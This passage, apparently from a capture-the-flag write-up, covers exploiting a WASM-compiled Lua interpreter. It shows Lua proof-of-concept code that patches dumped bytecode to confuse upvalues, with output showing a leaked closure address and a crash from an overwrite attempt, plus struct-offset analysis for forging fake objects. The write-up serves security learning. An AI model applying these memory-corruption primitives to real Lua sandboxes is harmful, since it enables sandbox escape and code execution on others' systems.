\u003cspan class=\"n\"\u003eCLOSURE\u003c/span\u003e \u003cspan class=\"n\"\u003eWE\u003c/span\u003e \u003cspan class=\"n\"\u003eARE\u003c/span\u003e \u003cspan class=\"n\"\u003eRETURNING\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Leaking outer closure: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eTARGET\u003c/span\u003e \u003cspan class=\"n\"\u003eUPVALUE\u003c/span\u003e \u003cspan class=\"n\"\u003eSHOULD\u003c/span\u003e \u003cspan class=\"n\"\u003ePOINT\u003c/span\u003e \u003cspan class=\"n\"\u003eTO\u003c/span\u003e \u003cspan class=\"n\"\u003eTHE\u003c/span\u003e \u003cspan class=\"n\"\u003eTARGET\u003c/span\u003e \u003cspan class=\"n\"\u003eCLOSURE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;(\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\\x00\\x00\\x01\\x01\\x00\\x01\u003c/span\u003e\u003cspan class=\"s2\"\u003e)\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x02\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;%1\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x03\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eouter_closure\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003econfuse\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Returned outer closure:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eouter_closure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Calling it...\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eouter_closure\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eOutput\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eReturned\u003c/span\u003e \u003cspan class=\"n\"\u003eouter\u003c/span\u003e \u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\t\u003cspan class=\"n\"\u003eLClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x109a98\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eCalling\u003c/span\u003e \u003cspan class=\"n\"\u003eit\u003c/span\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kc\"\u003enil\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kc\"\u003enil\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eLeaking\u003c/span\u003e \u003cspan class=\"n\"\u003eouter\u003c/span\u003e \u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \t\u003cspan class=\"n\"\u003eLClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x109a98\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eTHIS\u003c/span\u003e \u003cspan class=\"n\"\u003eCONFIRMS\u003c/span\u003e \u003cspan class=\"n\"\u003eTHAT\u003c/span\u003e \u003cspan class=\"n\"\u003eTHE\u003c/span\u003e \u003cspan class=\"n\"\u003eCONFUSED\u003c/span\u003e \u003cspan class=\"n\"\u003eUPVALUE\u003c/span\u003e \u003cspan class=\"n\"\u003ePOINTS\u003c/span\u003e \u003cspan class=\"n\"\u003eTO\u003c/span\u003e \u003cspan class=\"n\"\u003eTHE\u003c/span\u003e \u003cspan class=\"n\"\u003eRIGHT\u003c/span\u003e \u003cspan class=\"n\"\u003eTHING\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eTwo notable mentions here:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eAgain, in order to make things work with this interpreter I had to change\nthe bytes in the patching. In this case, as the patching happens not in\nthe opcodes but rather in the upvalues of the functions, I resorted\nto manually examining the bytecode dump to find a pattern that seemed\nthe right one to patch \u0026ndash; in this case, what we are patching is the\n\u0026ldquo;upvals table\u0026rdquo; of the outer closure.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eWe are returning the outer closure to verify that the upvalue confusion\nis working. In fact, in the code, I\u0026rsquo;m printing the address of the outer closure\n(which is returned by the function), and printing the value of the\npatched target upvalue, and expecting them to match.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eFrom the output of the interpreter, we confirm that we have\nsuccessfully confused upvalues.\u003c/p\u003e\n\u003ch2 id=\"if-it-looks-like-a-closure\"\u003eIf it looks like a Closure\u003c/h2\u003e\n\u003cp\u003eOk, we can leak the outer closure by confusing upvalues.\nBut can we overwrite it? Let\u0026rsquo;s check:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003econfuse\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003efoo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003ebar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003etarget\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003etarget\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;AAAAAAAAA\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e10000000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)(),\u003c/span\u003e \u003cspan class=\"mi\"\u003e1337\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;(\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\\x00\\x00\\x01\\x01\\x00\\x01\u003c/span\u003e\u003cspan class=\"s2\"\u003e)\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x02\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;%1\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x03\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003econfuse\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eOutput\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kc\"\u003enil\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kc\"\u003enil\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRuntimeError\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eAborted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esegmentation\u003c/span\u003e \u003cspan class=\"n\"\u003efault\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eExecution aborted with a segmentation fault.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eTo make debugging simple, and ensure that the segmentation fault\ndepends on a situation that I could control, I\u0026rsquo;ve passed the same\nscript to the standalone Lua interpreter cloned locally, built with\ndebugging symbols.\u003c/p\u003e\n\u003cp\u003eWhat we learn from GDB confirms this is the happy path:\u003c/p\u003e\n\u003cimg src=\"alcawasm_gdb1.png\" alt=\"AltText\"\u003e\u003cp\u003eAfter the inner function returns, the execution\nflow goes back to the outer closure. In order to\nexecute the \u003ccode\u003ereturn 100000000\u003c/code\u003e instruction, the\ninterpreter will try fetching the \u003cem\u003econstants table\u003c/em\u003e\nfrom the closure -\u0026gt; which will end up in error because\nthe object is not really a closure, but a string, \u003cstrong\u003ethanks\nto the overwrite in the inner closure.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u0026hellip;except this \u003cem\u003eis not at all\u003c/em\u003e what is happening in the challenge.\u003c/p\u003e\n\u003ch3 id=\"thanks-for-all-the-definitions\"\u003eThanks for all the definitions\u003c/h3\u003e\n\u003cp\u003eIf you try to repeatedly execute (in the challenge UI) the script above,\nyou will notice that sometimes the error appears as a segmentation fault,\nother times as an aligned fault, and other times it does not even errors.\u003c/p\u003e\n\u003cp\u003eThe reason is that, probably due to how \u003ccode\u003ewasmoon\u003c/code\u003e is compiled (and the\nfact that it uses WASM), some of the pointers and integers will have\na 32 bit size, instead of the expected 64. The consequence of this is that\nmany of the paddings in the structs will not match what we have in standalone\nLua interpreter!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNote: while this makes the usability of the standalone Lua as a debugging tool\u0026hellip;questionable,\nI think it was still useful and therefore I\u0026rsquo;ve kept it in the writeup.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThis could be a problem, for our exploit-y purposes. In the linked blogpost,\nthe author chooses the path of a fake constants table\nto craft a fake object. This is possible because of two facts:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eIn the LClosure struct, the address of its Proto struct, which holds\namong the other things the constants values, is placed\n\u003cstrong\u003e24 bytes after the start of the struct\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003eIn the TString struct, the content of the string is placed\n\u003cstrong\u003e24 bytes after the start of the struct\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eTherefore, when replacing an LClosure with a TString via upvalues confusion,\nthe two align handsomely, and the attacker thus controls the Proto pointer,\nmaking the chain work.\u003c/p\u003e\n\u003cp\u003eHowever, here\u0026rsquo;s the definitions of LClosure and TString for the challenge:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eTString\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eGCObject\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003enext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003ett\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003emarked\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003eextra\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003eshrlen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003ehash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e12\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eunion\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kt\"\u003esize_t\u003c/span\u003e \u003cspan class=\"n\"\u003elnglen\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eTString\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehnext\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"n\"\u003eu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eCONTENTS\u003c/span\u003e \u003cspan class=\"n\"\u003eSTART\u003c/span\u003e \u003cspan class=\"n\"\u003eAFTER\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e \u003cspan 